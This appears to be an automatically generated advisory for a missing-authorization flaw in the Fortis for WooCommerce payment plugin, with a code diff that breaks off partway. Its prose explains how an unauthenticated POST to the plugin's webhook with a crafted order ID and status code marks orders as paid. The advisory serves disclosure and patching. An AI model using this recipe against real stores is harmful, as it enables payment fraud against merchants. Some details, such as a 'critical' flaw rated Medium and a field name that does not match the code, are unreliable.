Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0679: Fortis for WooCommerce <= 1.2.0 – Missing Authorization to Unauthenticated Arbitrary Order Status Update to Paid via 'wc-api' Endpoint (fortis-for-woocommerce)

CVE ID CVE-2026-0679
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.2.0
Patched Version 1.3.0
Disclosed February 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0679:
The Fortis for WooCommerce plugin up to version 1.2.0 contains a critical authorization bypass vulnerability. This flaw allows unauthenticated attackers to arbitrarily update WooCommerce order statuses to paid, processing, or completed states via a misconfigured webhook endpoint. The vulnerability stems from an inverted nonce check logic in the plugin’s notification handler.

Atomic Edge research identifies the root cause in the `check_fortis_notify_response` function within `/classes/WC_Gateway_Fortis.php`. The vulnerable code (lines 1676-1682) performs a WordPress nonce verification but incorrectly treats a successful verification as an error condition. The function calls `wp_verify_nonce($nonce, $action)` and if the result is true (a valid nonce), it returns HTTP 417 and exits. This logic inversion means the function only proceeds to process the order status update when the nonce check fails or is absent. Since the `wc-api` endpoint (`?wc-api=fortis_notify`) is intended for external payment gateway webhooks, legitimate requests typically lack WordPress nonces. The flawed check therefore allows any unauthenticated request without a valid nonce to pass through.

The exploitation method involves sending a POST request to the WooCommerce API endpoint `/?wc-api=fortis_notify`. An attacker must include a `data` parameter containing a JSON payload with a `description` field specifying the target WooCommerce order ID. The plugin extracts this order ID and updates its status based on the `status_code` value in the payload. Attackers can set `status_code` to 132 (Settled) to mark orders as paid/processing/completed. No authentication or payment verification is required. The attack vector is directly accessible as the endpoint is publicly exposed for payment gateway notifications.

The patch in version 1.3.0 completely removes the nonce verification from the `check_fortis_notify_response` function. The vulnerable lines 1676-1682 are deleted and replaced with a PHPCS ignore comment indicating webhook endpoints cannot use WordPress nonces. The fix acknowledges that external payment gateway webhooks cannot provide WordPress nonces and instead implements proper transaction validation through the new `resolveOrderFromTransaction` method in `FortisTransactionService`. This method validates the transaction against the Fortis API, checks location ID and amount consistency, and resolves the order through multiple authoritative sources before processing status updates.

Successful exploitation allows attackers to mark any WooCommerce order as paid without actual payment. This enables fraud where customers receive products without payment, or attackers can manipulate order fulfillment states to disrupt business operations. The vulnerability effectively bypasses WooCommerce’s payment processing system, potentially causing significant financial loss through stolen goods and administrative overhead to correct fraudulent orders. The CVSS score of 5.3 reflects the impact on confidentiality, integrity, and availability of the affected WooCommerce store’s order management system.

Differential between vulnerable and patched code

Code Diff
--- a/fortis-for-woocommerce/assets/js/frontend/blocks.asset.php
+++ b/fortis-for-woocommerce/assets/js/frontend/blocks.asset.php
@@ -1 +1,4 @@
-<?php return array('dependencies' => array('react', 'wc-blocks-registry', 'wc-settings', 'wp-html-entities', 'wp-i18n'), 'version' => 'f57c9a5a613550657d38');
+<?php return array(
+	'dependencies' => array( 'react', 'wc-blocks-registry', 'wc-settings', 'wp-html-entities', 'wp-i18n' ),
+	'version'      => 'f57c9a5a613550657d38',
+);
--- a/fortis-for-woocommerce/classes/FortisApi.php
+++ b/fortis-for-woocommerce/classes/FortisApi.php
@@ -594,7 +594,7 @@
 			}

 			if ( ! $surcharge_item_id ) {
-				$order->add_order_note( __( 'No Surcharge fee found to refund.', 'woocommerce' ) );
+				$order->add_order_note( __( 'No Surcharge fee found to refund.', 'fortis-for-woocommerce' ) );

 				return false;
 			}
--- a/fortis-for-woocommerce/classes/FortisFrameworkApi.php
+++ b/fortis-for-woocommerce/classes/FortisFrameworkApi.php
@@ -18,8 +18,8 @@
  * @package     WooCommerce
  */
 class FortisframeworkApi extends WC_Payment_Gateway {
-	public const DEVELOPER_ID_SANDBOX    = 'woo120sb';
-	public const DEVELOPER_ID_PRODUCTION = 'woo25120';
+	public const DEVELOPER_ID_SANDBOX    = 'woo130sb';
+	public const DEVELOPER_ID_PRODUCTION = 'woo26130';

 	/**
 	 * Gateway id
--- a/fortis-for-woocommerce/classes/FortisTransactionService.php
+++ b/fortis-for-woocommerce/classes/FortisTransactionService.php
@@ -35,6 +35,142 @@
 	}

 	/**
+	 * Resolve a Fortis transaction to a WooCommerce order and perform validation.
+	 *
+	 * @param FortisApi $fortisApi Fortis API instance.
+	 * @param string    $transaction_id Fortis transaction id.
+	 * @param bool      $enable_logging Whether to log validation failures.
+	 * @param mixed     $logger Optional logger (expects add method).
+	 *
+	 * @return array|null Returns array with 'order', 'fortis_transaction' and 'is_refund' or null on failure.
+	 */
+	public function resolveOrderFromTransaction(
+		FortisApi $fortisApi,
+		string $transaction_id,
+		bool $enable_logging = false,
+		$logger = null
+	): ?array {
+		$fortis_transaction_json = $fortisApi->get_transaction( $transaction_id );
+		$fortis_transaction      = json_decode( wp_unslash( $fortis_transaction_json ), true );
+
+		if ( ! is_array( $fortis_transaction ) || ! isset( $fortis_transaction['data'] ) ) {
+			if ( $enable_logging && is_callable( array( $logger, 'add' ) ) ) {
+				$logger->add(
+					'fortis_ach_notify',
+					'Failed to fetch transaction from Fortis for ID: ' . $transaction_id
+				);
+			}
+
+			return null;
+		}
+
+		// Use authoritative fields from Fortis
+		$order_id = $fortis_transaction['data']['description'] ?? '';
+
+		// Fall back to matching by transaction_api_id (which we save on order creation) when description is missing.
+		if ( '' === $order_id ) {
+			$tx_api_id = $fortis_transaction['data']['transaction_api_id'] ?? '';
+			if ( $tx_api_id ) {
+				// Attempt to find an order that has the saved transaction_api_id meta.
+				$orders = wc_get_orders(
+					array(
+						'limit'      => 1,
+					                         // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+						'meta_query' => array(
+							array(
+								'key'   => 'transaction_api_id',
+								'value' => $tx_api_id,
+							),
+						),
+					)
+				);
+
+				if ( ! empty( $orders ) ) {
+					$order    = $orders[0];
+					$order_id = $order->get_id();
+				} else {
+					if ( $enable_logging && is_callable( array( $logger, 'add' ) ) ) {
+						$logger->add(
+							'fortis_ach_notify',
+							"No order description on Fortis txn $transaction_id and no order found with transaction_api_id: $tx_api_id"
+						);
+					}
+
+					return null;
+				}
+			} else {
+				if ( $enable_logging && is_callable( array( $logger, 'add' ) ) ) {
+					$logger->add(
+						'fortis_ach_notify',
+						'No order description found on Fortis transaction: ' . $transaction_id
+					);
+				}
+
+				return null;
+			}
+		}
+
+		// If we didn't find the order via transaction_api_id earlier, look it up by the description value.
+		if ( empty( $order ) ) {
+			$order = wc_get_order( $order_id );
+			if ( ! $order ) {
+				if ( $enable_logging && is_callable( array( $logger, 'add' ) ) ) {
+					$logger->add( 'fortis_ach_notify', 'Order not found for ID from Fortis transaction: ' . $order_id );
+				}
+
+				return null;
+			}
+		}
+
+		// Verify location id
+		$remote_location = $fortis_transaction['data']['location_id'] ?? '';
+		if ( $remote_location && $remote_location !== $fortisApi->location_id ) {
+			if ( $enable_logging && is_callable( array( $logger, 'add' ) ) ) {
+				$logger->add(
+					'fortis_ach_notify',
+					"Fortis transaction location mismatch for txn $transaction_id: expected {$fortisApi->location_id}, got $remote_location"
+				);
+			}
+
+			return null;
+		}
+
+		// Verify amount if present.
+		$remote_amount = $fortis_transaction['data']['transaction_amount'] ?? '';
+		if ( '' !== $remote_amount && is_numeric( $remote_amount ) ) {
+			$remote_amount_str   = (string) $remote_amount;
+			$remote_amount_cents = (int) round( floatval( $remote_amount_str ) );
+			$interpretation      = 'cents';
+
+			$order_amount_cents = (int) bcmul( (string) $order->get_total(), '100', 0 );
+			if ( $remote_amount_cents !== $order_amount_cents ) {
+				if ( $enable_logging && is_callable( array( $logger, 'add' ) ) ) {
+					$logger->add(
+						'fortis_ach_notify',
+						"Fortis transaction amount mismatch for txn $transaction_id: expected $order_amount_cents, got $remote_amount_cents (interpreted as $interpretation)"
+					);
+				}
+
+				return null;
+			}
+		}
+
+		$ach_refund_ids = $order->get_meta( 'ach_refund_ids' );
+		if ( '' !== $ach_refund_ids ) {
+			$ach_refund_ids = json_decode( $ach_refund_ids );
+		} else {
+			$ach_refund_ids = array();
+		}
+		$is_refund = in_array( $transaction_id, $ach_refund_ids, true );
+
+		return array(
+			'order'              => $order,
+			'fortis_transaction' => $fortis_transaction,
+			'is_refund'          => $is_refund,
+		);
+	}
+
+	/**
 	 * @param $id
 	 * @param $subtotal
 	 * @param $taxAmount
@@ -166,17 +302,20 @@
 	 * @throws Exception
 	 */
 	public function getBillingData(): array {
-		$verify = wp_verify_nonce(
-			parse_str( $_POST['fields'], $fields )
-			?? $fields['woocommerce-process-checkout-nonce'] ?? '',
-			$_REQUEST['action'] ?? ''
-		);
+		// Prepare and sanitize posted fields
+		$raw_fields = sanitize_text_field( wp_unslash( $_POST['fields'] ?? '' ) );
+		parse_str( $raw_fields, $fields_raw );
+		$fields = is_array( $fields_raw ) ? array_map( 'sanitize_text_field', $fields_raw ) : array();
+
+		$nonce  = $fields['woocommerce-process-checkout-nonce'] ?? '';
+		$action = sanitize_text_field( wp_unslash( $_REQUEST['action'] ?? '' ) );
+		$verify = wp_verify_nonce( $nonce, $action );
 		if ( $verify ) {
 			http_response_code( 417 );
 			exit();
 		}
-		if ( ! empty( $_POST['fields'] ) ) {
-			parse_str( filter_var( wp_unslash( $_POST['fields'] ), FILTER_UNSAFE_RAW ), $post_data );
+		if ( ! empty( $raw_fields ) ) {
+			$post_data = $fields;

 			$termsAccepted = false;
 			if ( ! empty( $post_data['terms'] ) && in_array(
--- a/fortis-for-woocommerce/classes/WC_Gateway_Fortis.php
+++ b/fortis-for-woocommerce/classes/WC_Gateway_Fortis.php
@@ -30,7 +30,7 @@

 	public const ID = 'fortis';

-	public const VERSION = '1.2.0';
+	public const VERSION = '1.3.0';

 	public const TITLE       = 'title';
 	public const DESCRIPTION = 'description';
@@ -159,7 +159,7 @@
 	 * @return void
 	 */
 	public static function show_cart_messages() {
-		$nonce  = $_REQUEST['_wpnonce'] ?? '';
+		$nonce  = sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ?? '' ) );
 		$verify = wp_verify_nonce( $nonce, 'show_cart_messages' );
 		if ( $verify ) {
 			http_response_code( 417 );
@@ -199,6 +199,7 @@
 		$order_notes = wp_cache_get( $cache_key );

 		if ( $order_notes === false ) {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Cached query for better performance
 			$order_notes = $wpdb->get_results(
 				$wpdb->prepare(
 					"SELECT comment_content FROM {$wpdb->comments} WHERE comment_post_ID = %d
@@ -219,12 +220,12 @@
 	 * @throws WC_Data_Exception WC_Data_Exception.
 	 */
 	public function check_fortis_response() {
-		$nonce     = $_REQUEST['_wpnonce'] ?? '';
+		$nonce     = sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ?? '' ) );
 		$wcsession = WC()->session;
 		if ( empty( $nonce ) ) {
 			if ( $wcsession->get( 'post' ) ) {
 				$blockpost = $wcsession->get( 'post' );
-				$nonce     = $blockpost['fortis-nonce'] ?? '';
+				$nonce     = sanitize_text_field( $blockpost['fortis-nonce'] ?? '' );
 			}
 		}
 		$action = 'check_fortis_response';
@@ -342,7 +343,12 @@
 				true
 			);
 		} elseif ( isset( $_POST['fortis_billing_data'] ) ) {
-			parse_str( $_POST['fortis_billing_data'], $billingData );
+			$raw_fortis_billing = filter_var( wp_unslash( $_POST['fortis_billing_data'] ?? '' ), FILTER_UNSAFE_RAW );
+			parse_str( $raw_fortis_billing, $billingData_raw );
+			$billingData = is_array( $billingData_raw ) ? array_map(
+				'sanitize_text_field',
+				$billingData_raw
+			) : array();
 		} else {
 			$billingData = array();
 		}
@@ -355,11 +361,11 @@

 		if ( $status !== 1 && $status !== 5 ) {
 			$message = match ( $status ) {
-				2 => __( 'The transaction was declined', 'woocommerce' ),
-				3 => __( 'The transaction had an error', 'woocommerce' ),
-				4 => __( 'The transaction was canceled', 'woocommerce' ),
-				5 => __( 'The transaction is pending', 'woocommerce' ),
-				default => __( 'Payment failed.', 'woocommerce' ),
+				2 => __( 'The transaction was declined', 'fortis-for-woocommerce' ),
+				3 => __( 'The transaction had an error', 'fortis-for-woocommerce' ),
+				4 => __( 'The transaction was canceled', 'fortis-for-woocommerce' ),
+				5 => __( 'The transaction is pending', 'fortis-for-woocommerce' ),
+				default => __( 'Payment failed.', 'fortis-for-woocommerce' ),
 			};

 			// Re-draft pending order if on Blocks checkout and failed tokenized payment
@@ -836,7 +842,7 @@
 		 *
 		 * @since 1.0.0
 		 */
-		$this->form_fields = apply_filters( 'fnb_fortis_settings', $form_fields ) ?? $form_fields;
+		$this->form_fields = apply_filters( 'fortis_for_woocommerce_settings', $form_fields ) ?? $form_fields;
 	}

 	/**
@@ -1040,11 +1046,11 @@
 		$show_validation_animation = 'yes' === $this->settings[ FortisApi::SHOWVALIDATIONANIMATION ] ? 'true' : 'false';
 		$hide_agreement_checkbox   = 'yes' === $this->settings[ FortisApi::HIDEAGREEMENTCHECKBOX ] ? 'true' : 'false';

-		$verify = wp_verify_nonce(
-			parse_str( $_POST['post_data'] ?? '', $fields )
-			?? $fields['woocommerce-process-checkout-nonce'] ?? '',
-			'checkout'
-		);
+		$raw_post_data = filter_var( wp_unslash( $_POST['post_data'] ?? '' ), FILTER_UNSAFE_RAW );
+		parse_str( $raw_post_data, $fields_raw );
+		$fields = is_array( $fields_raw ) ? array_map( 'sanitize_text_field', $fields_raw ) : array();
+		$nonce  = $fields['woocommerce-process-checkout-nonce'] ?? '';
+		$verify = wp_verify_nonce( $nonce, 'checkout' );
 		if ( $verify ) {
 			http_response_code( 417 );
 			exit();
@@ -1169,7 +1175,7 @@
 		$wcsession   = WC()->session;
 		$customer_id = $wcsession->get( 'customer' )['id'];

-		$nonce  = $_REQUEST['_wpnonce'] ?? '';
+		$nonce  = sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ?? '' ) );
 		$verify = wp_verify_nonce( $nonce, - 1 );
 		if ( $verify ) {
 			http_response_code( 417 );
@@ -1313,7 +1319,7 @@
 	 * @throws WC_Data_Exception WC_Data_Exception.
 	 */
 	public function process_review_payment() {
-		$nonce  = $_REQUEST['_wpnonce'] ?? '';
+		$nonce  = sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ?? '' ) );
 		$verify = wp_verify_nonce( $nonce, 'process_review_payment' );
 		if ( $verify ) {
 			http_response_code( 417 );
@@ -1341,7 +1347,7 @@
 		 *
 		 * @since 1.0.0
 		 */
-		return apply_filters( 'woocommerce_gateway_icon', $icon, $this->id );
+		return apply_filters( 'fortis_for_woocommerce_gateway_icon', $icon, $this->id );
 	}

 	/**
@@ -1354,7 +1360,7 @@
 	 * @since 1.0.0
 	 */
 	public function process_payment( $order_id ) {
-		$nonce  = $_REQUEST['woocommerce-process-checkout-nonce'] ?? '';
+		$nonce  = sanitize_text_field( wp_unslash( $_REQUEST['woocommerce-process-checkout-nonce'] ?? '' ) );
 		$verify = wp_verify_nonce( $nonce, 'process_review_payment' );
 		if ( $verify ) {
 			http_response_code( 417 );
@@ -1631,7 +1637,7 @@
 		 *
 		 * @since 1.0.0
 		 */
-		$notice_types = apply_filters( 'woocommerce_notice_types', array( 'error', 'success', 'notice' ) );
+		$notice_types = apply_filters( 'fortis_for_woocommerce_notice_types', array( 'error', 'success', 'notice' ) );

 		// Buffer output.
 		ob_start();
@@ -1668,15 +1674,11 @@
 	 * @return void
 	 * @throws WC_Data_Exception WC_Data_Exception.
 	 */
+	// Webhook endpoint: nonces are not applicable for external webhook POSTs.
+	// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Webhook POSTs cannot use WP nonces and are authenticated via Fortis signatures/transaction data.
 	public function check_fortis_notify_response(): void {
-		$nonce  = $_REQUEST['_wpnonce'] ?? '';
-		$action = 'check_fortis_notify_response';
-		$verify = wp_verify_nonce( $nonce, $action );
-		if ( $verify ) {
-			http_response_code( 417 );
-			exit();
-		}
 		// Log notify response for debugging purposes.
+		// phpcs:disable WordPress.Security.NonceVerification.Missing
 		if ( $this->logging ) {
 			self::$wc_logger->add(
 				'fortis_ach_notify',
@@ -1684,33 +1686,58 @@
 			);
 			self::$wc_logger->add(
 				'fortis_ach_notify',
+				// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 				'Notify GET: ' . wp_json_encode( array_map( 'sanitize_text_field', $_GET ) )
 			);
 		}

+		// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- External webhook POST; validated by Fortis and sanitized below.
 		if ( ! isset( $_POST['data'] ) ) {
 			http_response_code( 417 );
 			exit();
 		}

-		$fortis_data    = json_decode( wp_unslash( sanitize_text_field( wp_unslash( $_POST['data'] ) ) ) );
-		$order_id       = $fortis_data->description;
-		$order          = wc_get_order( $order_id );
-		$transaction_id = $fortis_data->id;
-		$ach_refund_ids = $order->get_meta( 'ach_refund_ids' );
-		if ( '' !== $ach_refund_ids ) {
-			$ach_refund_ids = json_decode( $ach_refund_ids );
-		} else {
-			$ach_refund_ids = array();
+		$fortis_data = json_decode( wp_unslash( sanitize_text_field( wp_unslash( $_POST['data'] ) ) ) );
+		// phpcs:enable WordPress.Security.NonceVerification.Missing
+
+		$transaction_id = $fortis_data->id ?? '';
+
+		// If Fortis sends a CREATE event it often arrives before the description is populated.
+		// Acknowledge CREATE events with HTTP 200 and do not attempt to process them yet.
+		if ( isset( $fortis_data->type ) && 'CREATE' === strtoupper( $fortis_data->type ) ) {
+			if ( $this->logging ) {
+				self::$wc_logger->add(
+					'fortis_ach_notify',
+					'Received CREATE webhook for txn ' . $transaction_id . ' - acknowledging and skipping processing.'
+				);
+			}
+			http_response_code( 200 );
+			exit();
 		}
-		$is_refund = false;
-		if ( in_array( $transaction_id, $ach_refund_ids, true ) ) {
-			$is_refund = true;
+
+		$transactionService = new FortisTransactionService();
+		$resolved           = $transactionService->resolveOrderFromTransaction(
+			$this->fortis_api,
+			$transaction_id,
+			$this->logging,
+			self::$wc_logger
+		);
+		if ( null === $resolved ) {
+			http_response_code( 417 );
+			exit();
 		}
+
+		$order              = $resolved['order'];
+		$is_refund          = $resolved['is_refund'];
+		$fortis_transaction = $resolved['fortis_transaction'];
+
+		// Use authoritative transaction data for downstream processing
+		$fortis_data = json_decode( wp_json_encode( $fortis_transaction['data'] ) );
+
 		$order->set_payment_method( self::ID );

 		if ( ! $is_refund ) {
-			switch ( $fortis_data->status_id ) {
+			switch ( $fortis_data->status_code ) {
 				case 131: // Pending Origination.
 					// It's not possible to update an order status to a non-valid status, so set meta.
 					$order->update_meta_data( 'order_status', 'Pending Origination' );
@@ -1729,7 +1756,7 @@
 					break;
 			}
 		} else {
-			switch ( $fortis_data->status_id ) {
+			switch ( $fortis_data->status_code ) {
 				case 131: // Pending Origination.
 					// It's not possible to update an order status to a non-valid status, so set meta.
 					$order->update_meta_data( 'order_status', 'Pending Refund Origination' );
@@ -1952,15 +1979,21 @@
 	 * Encrypt API keys before saving to the database.
 	 */
 	public function process_admin_options() {
+		// Ensure the user has appropriate capability before processing options.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- This is called by WooCommerce admin options save where nonce is verified by the settings page		parent::process_admin_options();
 		parent::process_admin_options();
 		$fields = array(
 			FortisApi::PRODUCTION_USER_API_KEY,
 			FortisApi::SANDBOX_USER_API_KEY,
 		);
+		// phpcs:disable WordPress.Security.NonceVerification.Missing
 		foreach ( $fields as $field ) {
 			$post_key = $this->plugin_id . $this->id . '_' . $field;
-			if ( ! empty( $_POST[ $post_key ] ) ) {
-				$raw_key           = sanitize_text_field( $_POST[ $post_key ] );
+			if ( ! empty( sanitize_text_field( wp_unslash( $_POST[ $post_key ] ?? '' ) ) ) ) {
+				$raw_key           = sanitize_text_field( wp_unslash( $_POST[ $post_key ] ) );
 				$current_encrypted = get_option( $this->get_option_key_name( $field ), '' );
 				$current_decrypted = '';
 				if ( ! empty( $current_encrypted ) ) {
@@ -1971,10 +2004,11 @@
 					update_option( $this->get_option_key_name( $field ), $encrypted );
 					update_option( $this->get_option_key_name( $field ) . '_last_updated', current_time( 'mysql' ) );
 				}
-			} elseif ( isset( $_POST[ $post_key ] ) && $_POST[ $post_key ] === '' ) {
+			} elseif ( isset( $_POST[ $post_key ] ) && sanitize_text_field( wp_unslash( $_POST[ $post_key ] ) ) === '' ) {
 				delete_option( $this->get_option_key_name( $field ) );
 				delete_option( $this->get_option_key_name( $field ) . '_last_updated' );
 			}
+			// phpcs:enable WordPress.Security.NonceVerification.Missing
 		}
 	}

--- a/fortis-for-woocommerce/classes/WooCommercePaymentService.php
+++ b/fortis-for-woocommerce/classes/WooCommercePaymentService.php
@@ -1,5 +1,9 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 class WooCommercePaymentService {

 	/**
@@ -62,7 +66,12 @@

 			return true;
 		} catch ( Exception $e ) {
-			error_log( 'Error adding surcharge: ' . $e->getMessage() );
+			if ( function_exists( 'wc_get_logger' ) ) {
+				wc_get_logger()->error(
+					'Error adding surcharge: ' . $e->getMessage(),
+					array( 'source' => 'fortis-for-woocommerce' )
+				);
+			}

 			return false;
 		}
@@ -201,36 +210,56 @@
 				WC()->customer->set_billing_phone( $billingData['billing_phone'] );
 			}

-			// Update customer shipping address if provided
-			if ( isset( $billingData['shipping_first_name'] ) ) {
+			// Update customer shipping address if provided, otherwise use billing address
+			if ( isset( $billingData['shipping_first_name'] ) && ! empty( $billingData['shipping_first_name'] ) ) {
 				WC()->customer->set_shipping_first_name( $billingData['shipping_first_name'] );
+			} else {
+				WC()->customer->set_shipping_first_name( $billingData['billing_first_name'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_last_name'] ) ) {
+			if ( isset( $billingData['shipping_last_name'] ) && ! empty( $billingData['shipping_last_name'] ) ) {
 				WC()->customer->set_shipping_last_name( $billingData['shipping_last_name'] );
+			} else {
+				WC()->customer->set_shipping_last_name( $billingData['billing_last_name'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_company'] ) ) {
+			if ( isset( $billingData['shipping_company'] ) && ! empty( $billingData['shipping_company'] ) ) {
 				WC()->customer->set_shipping_company( $billingData['shipping_company'] );
+			} else {
+				WC()->customer->set_shipping_company( $billingData['billing_company'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_address_1'] ) ) {
+			if ( isset( $billingData['shipping_address_1'] ) && ! empty( $billingData['shipping_address_1'] ) ) {
 				WC()->customer->set_shipping_address_1( $billingData['shipping_address_1'] );
+			} else {
+				WC()->customer->set_shipping_address_1( $billingData['billing_address_1'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_address_2'] ) ) {
+			if ( isset( $billingData['shipping_address_2'] ) && ! empty( $billingData['shipping_address_2'] ) ) {
 				WC()->customer->set_shipping_address_2( $billingData['shipping_address_2'] );
+			} else {
+				WC()->customer->set_shipping_address_2( $billingData['billing_address_2'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_city'] ) ) {
+			if ( isset( $billingData['shipping_city'] ) && ! empty( $billingData['shipping_city'] ) ) {
 				WC()->customer->set_shipping_city( $billingData['shipping_city'] );
+			} else {
+				WC()->customer->set_shipping_city( $billingData['billing_city'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_state'] ) ) {
+			if ( isset( $billingData['shipping_state'] ) && ! empty( $billingData['shipping_state'] ) ) {
 				WC()->customer->set_shipping_state( $billingData['shipping_state'] );
+			} else {
+				WC()->customer->set_shipping_state( $billingData['billing_state'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_postcode'] ) ) {
+			if ( isset( $billingData['shipping_postcode'] ) && ! empty( $billingData['shipping_postcode'] ) ) {
 				WC()->customer->set_shipping_postcode( $billingData['shipping_postcode'] );
+			} else {
+				WC()->customer->set_shipping_postcode( $billingData['billing_postcode'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_country'] ) ) {
+			if ( isset( $billingData['shipping_country'] ) && ! empty( $billingData['shipping_country'] ) ) {
 				WC()->customer->set_shipping_country( $billingData['shipping_country'] );
+			} else {
+				WC()->customer->set_shipping_country( $billingData['billing_country'] ?? '' );
 			}
-			if ( isset( $billingData['shipping_phone'] ) ) {
+			if ( isset( $billingData['shipping_phone'] ) && ! empty( $billingData['shipping_phone'] ) ) {
 				WC()->customer->set_shipping_phone( $billingData['shipping_phone'] );
+			} else {
+				WC()->customer->set_shipping_phone( $billingData['billing_phone'] ?? '' );
 			}
 			if ( isset( $billingData['customer_note'] ) && ! empty( $billingData['customer_note'] ) ) {
 				$order->set_customer_note( sanitize_text_field( $billingData['customer_note'] ) );
@@ -252,6 +281,14 @@

 			return $order;
 		}
+		// Verify nonce for non-Blocks requests to ensure form submission is valid.
+		if ( ! $isBlocks ) {
+			$nonce = sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ?? $_REQUEST['_wpnonce'] ?? '' ) );
+			if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'check_fortis_response' ) ) {
+				return new WP_Error( 'invalid_nonce', __( 'Invalid request.', 'fortis-for-woocommerce' ) );
+			}
+		}
+
 		$this->validateCheckoutBillingData( $billingData );

 		$checkout = WC()->checkout();
@@ -280,7 +317,21 @@
 		}
 	}

-	public function validateCheckoutBillingData( array $billingData ): void {
+	public function validateCheckoutBillingData( array &$billingData ): void {
+		// First, populate empty shipping fields with billing data
+		$shipping_fields = array( 'first_name', 'last_name', 'company', 'address_1', 'address_2', 'city', 'state', 'postcode', 'country', 'phone' );
+
+		foreach ( $shipping_fields as $field ) {
+			$shipping_key = "shipping_$field";
+			$billing_key  = "billing_$field";
+
+			// If shipping field is empty or not set, use billing field value
+			if ( ( ! isset( $billingData[ $shipping_key ] ) || empty( $billingData[ $shipping_key ] ) )
+				&& isset( $billingData[ $billing_key ] ) ) {
+				$billingData[ $shipping_key ] = $billingData[ $billing_key ];
+			}
+		}
+
 		$errors = new WP_Error();

 		$checkout        = WC()->checkout();
@@ -305,7 +356,8 @@
 						);
 						$errors->add(
 							$field_key,
-							sprintf( __( '%s is a required field.', 'woocommerce' ), $field_label )
+							// translators: %s is the human-readable label for the checkout field.
+							sprintf( __( '%s is a required field.', 'fortis-for-woocommerce' ), $field_label )
 						);
 					}
 				}
@@ -313,52 +365,55 @@
 		}

 		if ( empty( $billingData['billing_first_name'] ) ) {
-			$errors->add( 'billing_first_name', __( 'First name is required.', 'woocommerce' ) );
+			$errors->add( 'billing_first_name', __( 'First name is required.', 'fortis-for-woocommerce' ) );
 		}
 		if ( empty( $billingData['billing_last_name'] ) ) {
-			$errors->add( 'billing_last_name', __( 'Last name is required.', 'woocommerce' ) );
+			$errors->add( 'billing_last_name', __( 'Last name is required.', 'fortis-for-woocommerce' ) );
 		}
 		if ( empty( $billingData['billing_email'] ) || ! is_email( $billingData['billing_email'] ) ) {
-			$errors->add( 'billing_email', __( 'A valid email address is required.', 'woocommerce' ) );
+			$errors->add( 'billing_email', __( 'A valid email address is required.', 'fortis-for-woocommerce' ) );
 		}
 		if ( empty( $billingData['billing_address_1'] ) ) {
-			$errors->add( 'billing_address_1', __( 'Billing address is required.', 'woocommerce' ) );
+			$errors->add( 'billing_address_1', __( 'Billing address is required.', 'fortis-for-woocommerce' ) );
 		}
 		if ( empty( $billingData['billing_city'] ) ) {
-			$errors->add( 'billing_city', __( 'City is required.', 'woocommerce' ) );
+			$errors->add( 'billing_city', __( 'City is required.', 'fortis-for-woocommerce' ) );
 		}
 		if ( empty( $billingData['billing_postcode'] ) ) {
-			$errors->add( 'billing_postcode', __( 'Postcode is required.', 'woocommerce' ) );
+			$errors->add( 'billing_postcode', __( 'Postcode is required.', 'fortis-for-woocommerce' ) );
 		}
 		if ( empty( $billingData['billing_country'] ) ) {
-			$errors->add( 'billing_country', __( 'Country is required.', 'woocommerce' ) );
+			$errors->add( 'billing_country', __( 'Country is required.', 'fortis-for-woocommerce' ) );
 		}

 		// Validate payment method
 		if ( empty( $billingData['payment_method'] ) ) {
-			$errors->add( 'payment_method', __( 'Please select a payment method.', 'woocommerce' ) );
+			$errors->add( 'payment_method', __( 'Please select a payment method.', 'fortis-for-woocommerce' ) );
 		} else {
 			$available_gateways = WC()->payment_gateways()->get_available_payment_gateways();
 			if ( ! isset( $available_gateways[ $billingData['payment_method'] ] ) ) {
-				$errors->add( 'payment_method', __( 'Invalid payment method selected.', 'woocommerce' ) );
+				$errors->add( 'payment_method', __( 'Invalid payment method selected.', 'fortis-for-woocommerce' ) );
 			}
 		}

 		if ( WC()->cart->is_empty() ) {
-			$errors->add( 'cart', __( 'Your cart is empty.', 'woocommerce' ) );
+			$errors->add( 'cart', __( 'Your cart is empty.', 'fortis-for-woocommerce' ) );
 		}

 		if ( function_exists( 'wc_terms_and_conditions_checkbox_enabled' ) && wc_terms_and_conditions_checkbox_enabled() ) {
 			if ( empty( $billingData['terms'] ) || $billingData['terms'] !== 'on' ) {
-				$errors->add( 'terms', __( 'You must accept the Terms and Conditions to proceed.', 'woocommerce' ) );
+				$errors->add(
+					'terms',
+					__( 'You must accept the Terms and Conditions to proceed.', 'fortis-for-woocommerce' )
+				);
 			}
 		}

 		// Trigger WooCommerce checkout validation hooks
-		do_action( 'woocommerce_checkout_process' );
+		do_action( 'fortis_for_woocommerce_checkout_process' );

 		// Allow other plugins to add validation errors
-		$errors = apply_filters( 'woocommerce_checkout_validation_errors', $errors, $billingData );
+		$errors = apply_filters( 'fortis_for_woocommerce_checkout_validation_errors', $errors, $billingData );

 		if ( $errors->has_errors() ) {
 			wc_clear_notices();
--- a/fortis-for-woocommerce/fortis-for-woocommerce.php
+++ b/fortis-for-woocommerce/fortis-for-woocommerce.php
@@ -4,12 +4,12 @@
  * Description: Receive payments using the Fortis payments provider.
  * Author: Fortis Payment Systems
  * Author URI: https://fortispay.com/
- * Version: 1.2.0
